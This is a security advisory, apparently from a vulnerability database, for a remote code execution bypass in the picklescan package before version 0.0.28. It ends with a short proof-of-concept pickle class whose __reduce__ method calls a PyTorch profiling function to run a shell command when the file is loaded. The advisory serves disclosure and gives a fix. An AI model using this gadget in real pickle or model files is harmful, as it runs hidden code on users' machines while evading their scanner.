Remote Code Execution (RCE) Affecting picklescan package, versions [,0.0.28)
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- published24 Aug 2025
- disclosed22 Aug 2025
- creditFredericDT
Introduced: 22 Aug 2025
CVE-2025-71366 (opens in a new tab)How to fix?
Upgrade picklescan to version 0.0.28 or higher.
Overview
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the bottleneck_main.run_cprofile function. An attacker can craft a malicious pickle file that leverages this function to bypass detection and trigger code execution upon deserialization by a user.
PoC
import torch.utils.bottleneck.__main__ as bottleneck_main
class EvilTorchUtilsBottleneckRunCprofile:
def __reduce__(self):
code = '__import__("os").system("whoami")'
globs = {}
return bottleneck_main.run_cprofile, (code, globs)